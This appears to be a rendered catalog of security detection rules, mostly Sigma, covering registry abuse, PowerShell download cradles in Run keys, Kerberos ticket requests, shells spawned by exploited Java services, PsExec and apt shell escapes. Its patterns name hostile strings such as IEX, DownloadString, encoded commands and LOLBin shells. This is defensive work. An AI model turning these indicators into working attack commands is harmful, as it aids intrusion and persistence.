Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_xml

selection_xml:
    ScriptBlockText|contains|all:
        - 'New-Object'
        - 'System.Xml.XmlDocument'
        - '.Load'

Stage 2: selection_exec

selection_exec:
    ScriptBlockText|contains:
        - 'IEX '
        - 'Invoke-Expression '
        - 'Invoke-Command '
        - 'ICM -'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • .Load
  • ICM -
  • IEX
  • Invoke-Command corpus 2 (sigma 2)
  • Invoke-Expression
  • New-Object corpus 8 (sigma 7, splunk 1)
  • System.Xml.XmlDocument
field:"ScriptBlockText" kind:match

Registry Modification Via Regini.EXE

#
Status
test
Severity
low
Author
Eli Salem, Sander Wiebing, oscd.community
Source
github.com/SigmaHQ/sigma

Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.

Known False Positives

  • Legitimate modification of keys

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Defense Impairment

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Registry Modification Via Regini.EXE
id: 5f60740a-f57b-4e76-82a1-15b6ff2cb134
related:
    - id: 77946e79-97f1-45a2-84b4-f37b5c0d8682
      type: derived
status: test
description: Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Regini/
    - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini
author: Eli Salem, Sander Wiebing, oscd.community
date: 2020-10-08
modified: 2023-02-08
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|endswith: '\regini.exe'
        - OriginalFileName: 'REGINI.EXE'
    filter:
        CommandLine|re: ':[^ \\]' # Covered in 77946e79-97f1-45a2-84b4-f37b5c0d8682
    condition: selection and not filter
falsepositives:
    - Legitimate modification of keys
level: low

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    - Image|endswith: '\regini.exe'
    - OriginalFileName: 'REGINI.EXE'

Stage 2: not filter

filter:
    CommandLine|re: ':[^ \\]'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \regini.exe corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"\regini.exe"
OriginalFileNameeq
  • REGINI.EXE corpus 2 (sigma 2)
field:"OriginalFileName" kind:eq value:"REGINI.EXE"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLineregex_match:[^ \]excludes:CommandLine field:"CommandLine" value:":[^ \]"

Risk for misconfiguration - use of Auth0 tenant name URL.

#
Status
experimental
Severity
medium
Author
Okta
Source
github.com/auth0/auth0-customer-detections

Detect the use of Auth0 canonical domain/tenant name url, when a custom domain is configured. When a custom domain is configured, there is often no reason for legitimate applications to use the default Auth0 domain. An attempt to access the tenant using the default Auth0 domain that may indicate a misconfiguration or an attack. Bypassing of a custom domain can lead to circumventing of such protections as WAF, IP filters, and advanced logging.

Known False Positives

  • Legitimate use of the Auth0 tenant name URL, e.g. during testing or white-listed applications.
  • Misconfiguration of applications that are using the Auth0 tenant name URL instead of a custom domain.

MITRE ATT&CK Coverage

Rule Body

title: Risk for misconfiguration - use of Auth0 tenant name URL.
id: 466073e8-7171-11f0-858f-723487b9527c
status: experimental
description: |
    Detect the use of Auth0 canonical domain/tenant name url, when a custom domain is configured.
    When a custom domain is configured, there is often no reason for legitimate applications to use the default Auth0 domain.
    An attempt to access the tenant using the default Auth0 domain that may indicate a misconfiguration or an attack.
    Bypassing of a custom domain can lead to circumventing of such protections as WAF, IP filters, and advanced logging.
author: Okta
date: 2025-07-11
modified: 2025-09-02
logsource:
    product: auth0
detection:
    selection:
        data.type:
            - s  # successful login
            - f  # failed login
            - fs # failed signup
            - ss # successful signup
            - w # warning during login
            - fp # failed login (incorrect password)
            - scoa # successful cross-origin authentication
            - fcoa # failed cross-origin authentication
            - sepft # successful exchange of password for token
            - fepft # failed exchange of password for token
        data.hostname: "{your-tenant-url}"  # e.g. your-tenant.auth0.com
    condition: selection
explanation: >
  The query below collects log entries corresponding to authentication events, e.g. s-successful login, f-failed login, etc.
  It filters those requests that use the Auth0 tenant name URL by checking "data.hostname".
  The Splunk query below displays clints/applications and log references.
splunk: |
    index=auth0 data.tenant_name="{your-tenant-name}"
    data.type IN (s, f, fs, ss, w, fp, scoa, fcoa, sepft, fepft)
    data.hostname="{your-tenant-url}"
    | fields data.client_id, data.client_name, data.log_id
    | table _time, data.client_id, data.client_name, data.log_id
comments:
    - The Splunk query above shall be tuned to reflect a valid tenant name and tenant url.
tenant_logs: |
    type: (s f fs ss f u fp scoa fcoa sepft fepft) AND hostname: {your-tenant-url}
prevention:
    - When any sort of a reverse proxy (e.g. WAF) is used in front of the tenant and IPs of this proxy can be listed,
      Auth0 Network ACL (Access Control List) can be applied to block any entries from unrecognized IPs.
falsepositives:
    - Legitimate use of the Auth0 tenant name URL, e.g. during testing or white-listed applications.
    - Misconfiguration of applications that are using the Auth0 tenant name URL instead of a custom domain.
level: medium
tags:
    - attack.defense-evasion
    - attack.t1562
    - attack.t1562.007

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    data.type:
        - s
        - f
        - fs
        - ss
        - w
        - fp
        - scoa
        - fcoa
        - sepft
        - fepft
    data.hostname: "{your-tenant-url}"

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
data.hostnameeq
  • {your-tenant-url}
field:"data.hostname" kind:eq value:"{your-tenant-url}"
data.typeeq
  • f
  • fcoa
  • fepft
  • fp
  • fs
  • s
  • scoa
  • sepft
  • ss
  • w
field:"data.type" kind:eq

Service Registry Key Read Access Request

#
Status
test
Severity
low
Author
Center for Threat Informed Defense (CTID) Summiting the Pyramid Team
Source
github.com/SigmaHQ/sigma

Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.

Known False Positives

  • Likely from legitimate applications reading their key. Requires heavy tuning

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Service Registry Key Read Access Request
id: 11d00fff-5dc3-428c-8184-801f292faec0
status: test
description: |
    Detects "read access" requests on the services registry key.
    Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.
    Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.
references:
    - https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness
author: Center for Threat Informed Defense (CTID) Summiting the Pyramid Team
date: 2023-09-28
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.011
logsource:
    product: windows
    service: security
    definition: 'Requirements: SACLs must be enabled for "READ_CONTROL" on the registry keys used in this rule'
detection:
    selection:
        EventID: 4663
        ObjectName|contains|all:
            - '\SYSTEM\'
            - 'ControlSet\Services\'
        AccessList|contains: '%%1538' # READ_CONTROL
    condition: selection
falsepositives:
    - Likely from legitimate applications reading their key. Requires heavy tuning
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 4663
    ObjectName|contains|all:
        - '\SYSTEM\'
        - 'ControlSet\Services\'
    AccessList|contains: '%%1538'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
AccessListmatch
  • %%1538
field:"AccessList" kind:match value:"%%1538"
ObjectNamematch
  • ControlSet\Services\
  • \SYSTEM\
field:"ObjectName" kind:match

Shell Invocation via Apt - Linux

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Shell Invocation via Apt - Linux
id: bb382fd5-b454-47ea-a264-1828e4c766d6
status: test
description: |
    Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands.
    Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
references:
    - https://gtfobins.github.io/gtfobins/apt/
    - https://gtfobins.github.io/gtfobins/apt-get/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-12-28
modified: 2024-09-02
tags:
    - attack.discovery
    - attack.t1083
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/apt'
            - '/apt-get'
        CommandLine|contains: 'APT::Update::Pre-Invoke::='
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith:
        - '/apt'
        - '/apt-get'
    CommandLine|contains: 'APT::Update::Pre-Invoke::='

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • APT::Update::Pre-Invoke::=
field:"CommandLine" kind:match value:"APT::Update::Pre-Invoke::="
Imageends_with
  • /apt corpus 3 (sigma 3)
  • /apt-get corpus 3 (sigma 3)
field:"Image" kind:ends_with

SNAKE Malware Kernel Driver File Indicator

#
Status
test
Severity
critical
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects SNAKE malware kernel driver file indicator

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: SNAKE Malware Kernel Driver File Indicator
id: d6d9d23f-69c1-41b5-8305-fa8250bd027f
status: test
description: Detects SNAKE malware kernel driver file indicator
references:
    - https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-10
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename: 'C:\Windows\System32\Com\Comadmin.dat'
    condition: selection
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetFilename: 'C:\Windows\System32\Com\Comadmin.dat'

Indicators

These rows show field, operator, and value matches.

Suspicious Child Process Of Manage Engine ServiceDesk

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service

Known False Positives

  • Legitimate sub processes started by Manage Engine ServiceDesk Pro

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Telemetry Coverage

Rule Body

title: Suspicious Child Process Of Manage Engine ServiceDesk
id: cea2b7ea-792b-405f-95a1-b903ea06458f
status: test
description: Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service
references:
    - https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/
    - https://github.com/horizon3ai/CVE-2022-47966/blob/3a51c6b72ebbd87392babd955a8fbeaee2090b35/CVE-2022-47966.py
    - https://blog.viettelcybersecurity.com/saml-show-stopper/
author: Florian Roth (Nextron Systems)
date: 2023-01-18
modified: 2023-08-29
tags:
    - attack.command-and-control
    - attack.t1102
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|contains|all:
            - '\ManageEngine\ServiceDesk\'
            - '\java.exe'
        Image|endswith:
            - '\AppVLP.exe'
            - '\bash.exe'
            - '\bitsadmin.exe'
            - '\calc.exe'
            - '\certutil.exe'
            - '\cscript.exe'
            - '\curl.exe'
            - '\forfiles.exe'
            - '\mftrace.exe'
            - '\mshta.exe'
            - '\net.exe'
            - '\net1.exe'
            - '\notepad.exe'  # Often used in POCs
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\query.exe'
            - '\reg.exe'
            - '\schtasks.exe'
            - '\scrcons.exe'
            - '\sh.exe'
            - '\systeminfo.exe'
            - '\whoami.exe'  # Often used in POCs
            - '\wmic.exe'
            - '\wscript.exe'
            # - '\hh.exe'
            # - '\regsvr32.exe'
            # - '\rundll32.exe'
            # - '\scriptrunner.exe'
    filter_main_net:
        Image|endswith:
            - '\net.exe'
            - '\net1.exe'
        CommandLine|contains: ' stop'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Legitimate sub processes started by Manage Engine ServiceDesk Pro
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    ParentImage|contains|all:
        - '\ManageEngine\ServiceDesk\'
        - '\java.exe'
    Image|endswith:
        - '\AppVLP.exe'
        - '\bash.exe'
        - '\bitsadmin.exe'
        - '\calc.exe'
        - '\certutil.exe'
        - '\cscript.exe'
        - '\curl.exe'
        - '\forfiles.exe'
        - '\mftrace.exe'
        - '\mshta.exe'
        - '\net.exe'
        - '\net1.exe'
        - '\notepad.exe'
        - '\powershell.exe'
        - '\pwsh.exe'
        - '\query.exe'
        - '\reg.exe'
        - '\schtasks.exe'
        - '\scrcons.exe'
        - '\sh.exe'
        - '\systeminfo.exe'
        - '\whoami.exe'
        - '\wmic.exe'
        - '\wscript.exe'

Stage 2: not filter_main_net

filter_main_net:
    Image|endswith:
        - '\net.exe'
        - '\net1.exe'
    CommandLine|contains: ' stop'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \AppVLP.exe corpus 6 (sigma 6)
  • \bash.exe corpus 21 (sigma 21)
  • \bitsadmin.exe corpus 29 (sigma 29)
  • \calc.exe corpus 15 (sigma 14, splunk 1)
  • \certutil.exe corpus 43 (sigma 43)
  • \cscript.exe corpus 72 (sigma 72)
  • \curl.exe corpus 31 (sigma 31)
  • \forfiles.exe corpus 11 (sigma 11)
  • \mftrace.exe corpus 6 (sigma 6)
  • \mshta.exe corpus 67 (sigma 66, splunk 1)
  • \net.exe corpus 49 (sigma 49)
  • \net1.exe corpus 47 (sigma 47)
  • \notepad.exe corpus 10 (sigma 10)
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
  • \query.exe corpus 6 (sigma 6)
  • \reg.exe corpus 58 (sigma 58)
  • \schtasks.exe corpus 55 (sigma 55)
  • \scrcons.exe corpus 9 (sigma 9)
  • \sh.exe corpus 16 (sigma 16)
  • \systeminfo.exe corpus 11 (sigma 11)
  • \whoami.exe corpus 19 (sigma 19)
  • \wmic.exe corpus 62 (sigma 62)
  • \wscript.exe corpus 74 (sigma 74)
field:"Image" kind:ends_with
ParentImagematch
  • \ManageEngine\ServiceDesk\
  • \java.exe
field:"ParentImage" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\net.exeexcludes:Image field:"Image" value:"\net.exe"
Imageends_with\net1.exeexcludes:Image field:"Image" value:"\net1.exe"
CommandLinematch stopexcludes:CommandLine field:"CommandLine" value:" stop"

Suspicious Kerberos Ticket Request via PowerShell Script - ScriptBlock

#
Status
test
Severity
high
Author
frack113
Source
github.com/SigmaHQ/sigma

Detects PowerShell scripts that utilize native PowerShell Identity modules to request Kerberos tickets. This behavior is typically seen during a Kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious Kerberos Ticket Request via PowerShell Script - ScriptBlock
id: a861d835-af37-4930-bcd6-5b178bfb54df
related:
    - id: caa9a802-8bd8-4b9e-a5cd-4d6221670219
      type: similar
status: test
description: |
    Detects PowerShell scripts that utilize native PowerShell Identity modules to request Kerberos tickets.
    This behavior is typically seen during a Kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell
    - https://learn.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8.1
author: frack113
date: 2021-12-28
modified: 2025-11-18
tags:
    - attack.credential-access
    - attack.t1558.003
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains|all:
            - 'System.IdentityModel.Tokens.KerberosRequestorSecurityToken'
            - '.GetRequest()'
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains|all:
        - 'System.IdentityModel.Tokens.KerberosRequestorSecurityToken'
        - '.GetRequest()'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • .GetRequest()
  • System.IdentityModel.Tokens.KerberosRequestorSecurityToken corpus 2 (sigma 2)
field:"ScriptBlockText" kind:match

Suspicious PowerShell In Registry Run Keys

#
Status
test
Severity
medium
Author
frack113, Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects potential PowerShell commands or code within registry run keys

Known False Positives

  • Legitimate admin or third party scripts. Baseline according to your environment

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious PowerShell In Registry Run Keys
id: 8d85cf08-bf97-4260-ba49-986a2a65129c
status: test
description: Detects potential PowerShell commands or code within registry run keys
references:
    - https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry
    - https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
    - https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
author: frack113, Florian Roth (Nextron Systems)
date: 2022-03-17
modified: 2025-07-18
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains:
            - '\Software\Microsoft\Windows\CurrentVersion\Run' # Also covers "RunOnce" and "RunOnceEx"
            - '\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run'
            - '\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
        Details|contains:
            - 'powershell'
            - 'pwsh '
            - 'FromBase64String'
            - '.DownloadFile('
            - '.DownloadString('
            - ' -w hidden '
            - ' -w 1 '
            - '-windowstyle hidden'
            - '-window hidden'
            - ' -nop '
            - ' -encodedcommand '
            - '-ExecutionPolicy Bypass'
            - 'Invoke-Expression'
            - 'IEX ('
            - 'Invoke-Command'
            - 'ICM -'
            - 'Invoke-WebRequest'
            - 'IWR '
            - 'Invoke-RestMethod'
            - 'IRM '
            - ' -noni '
            - ' -noninteractive '
    condition: selection
falsepositives:
    - Legitimate admin or third party scripts. Baseline according to your environment
level: medium
simulation:
    - type: atomic-red-team
      name: SystemBC Malware-as-a-Service Registry
      technique: T1547.001
      atomic_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891
    - type: atomic-red-team
      name: HKCU - Policy Settings Explorer Run Key
      technique: T1547.001
      atomic_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1
    - type: atomic-red-team
      name: HKLM - Policy Settings Explorer Run Key
      technique: T1547.001
      atomic_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f
    - type: atomic-red-team
      name: PowerShell Registry RunOnce
      technique: T1547.001
      atomic_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|contains:
        - '\Software\Microsoft\Windows\CurrentVersion\Run'
        - '\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run'
        - '\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run'
    Details|contains:
        - 'powershell'
        - 'pwsh '
        - 'FromBase64String'
        - '.DownloadFile('
        - '.DownloadString('
        - ' -w hidden '
        - ' -w 1 '
        - '-windowstyle hidden'
        - '-window hidden'
        - ' -nop '
        - ' -encodedcommand '
        - '-ExecutionPolicy Bypass'
        - 'Invoke-Expression'
        - 'IEX ('
        - 'Invoke-Command'
        - 'ICM -'
        - 'Invoke-WebRequest'
        - 'IWR '
        - 'Invoke-RestMethod'
        - 'IRM '
        - ' -noni '
        - ' -noninteractive '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Detailsmatch
  • -encodedcommand
  • -noni
  • -noninteractive
  • -nop
  • -w 1
  • -w hidden
  • -ExecutionPolicy Bypass
  • -window hidden
  • -windowstyle hidden
  • .DownloadFile(
  • .DownloadString(
  • FromBase64String corpus 2 (sigma 1, elastic 1)
  • ICM -
  • IEX (
  • IRM
  • IWR
  • Invoke-Command
  • Invoke-Expression
  • Invoke-RestMethod
  • Invoke-WebRequest
  • powershell corpus 10 (sigma 9, elastic 1)
  • pwsh
field:"Details" kind:match
TargetObjectmatch
  • \Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run corpus 3 (sigma 3)
  • \Software\Microsoft\Windows\CurrentVersion\Run corpus 4 (sigma 4)
  • \Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run corpus 3 (sigma 3)
field:"TargetObject" kind:match

Suspicious PsExec Execution - Zeek

#
Status
test
Severity
high
Author
Samir Bousseaden, @neu5ron, Tim Shelton
Source
github.com/SigmaHQ/sigma

detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one

MITRE ATT&CK Coverage

Rule Body

title: Suspicious PsExec Execution - Zeek
id: f1b3a22a-45e6-4004-afb5-4291f9c21166
related:
    - id: c462f537-a1e3-41a6-b5fc-b2c2cef9bf82
      type: derived
status: test
description: detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one
references:
    - https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html
author: Samir Bousseaden, @neu5ron, Tim Shelton
date: 2020-04-02
modified: 2022-12-27
tags:
    - attack.lateral-movement
    - attack.t1021.002
logsource:
    product: zeek
    service: smb_files
detection:
    selection:
        path|contains|all:
            - '\\'
            - '\IPC$'
        name|endswith:
            - '-stdin'
            - '-stdout'
            - '-stderr'
    filter:
        name|startswith: 'PSEXESVC'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    path|contains|all:
        - '\\'
        - '\IPC$'
    name|endswith:
        - '-stdin'
        - '-stdout'
        - '-stderr'

Stage 2: not filter

filter:
    name|startswith: 'PSEXESVC'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
nameends_with
  • -stderr
  • -stdin
  • -stdout
field:"name" kind:ends_with
pathmatch
  • \IPC$
  • \\
field:"path" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
namestarts_withPSEXESVCexcludes:name field:"name" value:"PSEXESVC"

Suspicious Scan Loop Network

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system

Known False Positives

  • Legitimate script

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious Scan Loop Network
id: f8ad2e2c-40b6-4117-84d7-20b89896ab23
status: test
description: Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
    - https://ss64.com/nt/for.html
    - https://ss64.com/ps/foreach-object.html
author: frack113
date: 2022-03-12
tags:
    - attack.execution
    - attack.t1059
    - attack.discovery
    - attack.t1018
logsource:
    category: process_creation
    product: windows
detection:
    selection_loop:
        CommandLine|contains:
            - 'for '
            - 'foreach '
    selection_tools:
        CommandLine|contains:
            - 'nslookup'
            - 'ping'
    condition: all of selection_*
falsepositives:
    - Legitimate script
level: medium
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_susp_network_scan_loop/info.yml

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_loop

selection_loop:
    CommandLine|contains:
        - 'for '
        - 'foreach '

Stage 2: selection_tools

selection_tools:
    CommandLine|contains:
        - 'nslookup'
        - 'ping'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • for corpus 2 (sigma 2)
  • foreach
  • nslookup corpus 3 (sigma 3)
  • ping corpus 5 (sigma 4, splunk 1)
field:"CommandLine" kind:match

Suspicious Shells Spawn by Java Utility Keytool

#
Status
test
Severity
high
Author
Andreas Hunkeler (@Karneades)
Source
github.com/SigmaHQ/sigma

Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)

MITRE ATT&CK Coverage

TacticTechniques
Initial AccessNo specific technique
PersistenceNo specific technique
Privilege EscalationNo specific technique

Telemetry Coverage

Rule Body

title: Suspicious Shells Spawn by Java Utility Keytool
id: 90fb5e62-ca1f-4e22-b42e-cc521874c938
status: test
description: Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)
references:
    - https://redcanary.com/blog/intelligence-insights-december-2021
    - https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
author: Andreas Hunkeler (@Karneades)
date: 2021-12-22
modified: 2023-01-21
tags:
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\keytool.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\sh.exe'
            - '\bash.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\schtasks.exe'
            - '\certutil.exe'
            - '\whoami.exe'
            - '\bitsadmin.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\scrcons.exe'
            - '\regsvr32.exe'
            - '\hh.exe'
            - '\wmic.exe'
            - '\mshta.exe'
            - '\rundll32.exe'
            - '\forfiles.exe'
            - '\scriptrunner.exe'
            - '\mftrace.exe'
            - '\AppVLP.exe'
            - '\systeminfo.exe'
            - '\reg.exe'
            - '\query.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|endswith: '\keytool.exe'
    Image|endswith:
        - '\cmd.exe'
        - '\sh.exe'
        - '\bash.exe'
        - '\powershell.exe'
        - '\pwsh.exe'
        - '\schtasks.exe'
        - '\certutil.exe'
        - '\whoami.exe'
        - '\bitsadmin.exe'
        - '\wscript.exe'
        - '\cscript.exe'
        - '\scrcons.exe'
        - '\regsvr32.exe'
        - '\hh.exe'
        - '\wmic.exe'
        - '\mshta.exe'
        - '\rundll32.exe'
        - '\forfiles.exe'
        - '\scriptrunner.exe'
        - '\mftrace.exe'
        - '\AppVLP.exe'
        - '\systeminfo.exe'
        - '\reg.exe'
        - '\query.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \AppVLP.exe corpus 6 (sigma 6)
  • \bash.exe corpus 21 (sigma 21)
  • \bitsadmin.exe corpus 29 (sigma 29)
  • \certutil.exe corpus 43 (sigma 43)
  • \cmd.exe corpus 132 (sigma 130, splunk 2)
  • \cscript.exe corpus 72 (sigma 72)
  • \forfiles.exe corpus 11 (sigma 11)
  • \hh.exe corpus 15 (sigma 15)
  • \mftrace.exe corpus 6 (sigma 6)
  • \mshta.exe corpus 67 (sigma 66, splunk 1)
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
  • \query.exe corpus 6 (sigma 6)
  • \reg.exe corpus 58 (sigma 58)
  • \regsvr32.exe corpus 64 (sigma 64)
  • \rundll32.exe corpus 94 (sigma 94)
  • \schtasks.exe corpus 55 (sigma 55)
  • \scrcons.exe corpus 9 (sigma 9)
  • \scriptrunner.exe corpus 12 (sigma 12)
  • \sh.exe corpus 16 (sigma 16)
  • \systeminfo.exe corpus 11 (sigma 11)
  • \whoami.exe corpus 19 (sigma 19)
  • \wmic.exe corpus 62 (sigma 62)
  • \wscript.exe corpus 74 (sigma 74)
field:"Image" kind:ends_with
ParentImageends_with
  • \keytool.exe
field:"ParentImage" kind:ends_with value:"\keytool.exe"

Windows Registry Trust Record Modification

#
Status
test
Severity
medium
Author
Antonlovesdnb, Trent Liffick (@tliffick)
Source
github.com/SigmaHQ/sigma

Alerts on trust record modification within the registry, indicating usage of macros

Known False Positives

  • This will alert on legitimate macro usage as well, additional tuning is required

MITRE ATT&CK Coverage

TacticTechniques
Initial Access

Telemetry Coverage

Rule Body

title: Windows Registry Trust Record Modification
id: 295a59c1-7b79-4b47-a930-df12c15fc9c2
related:
    - id: a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd
      type: similar
status: test
description: Alerts on trust record modification within the registry, indicating usage of macros
references:
    - https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/
    - http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html
    - https://twitter.com/inversecos/status/1494174785621819397
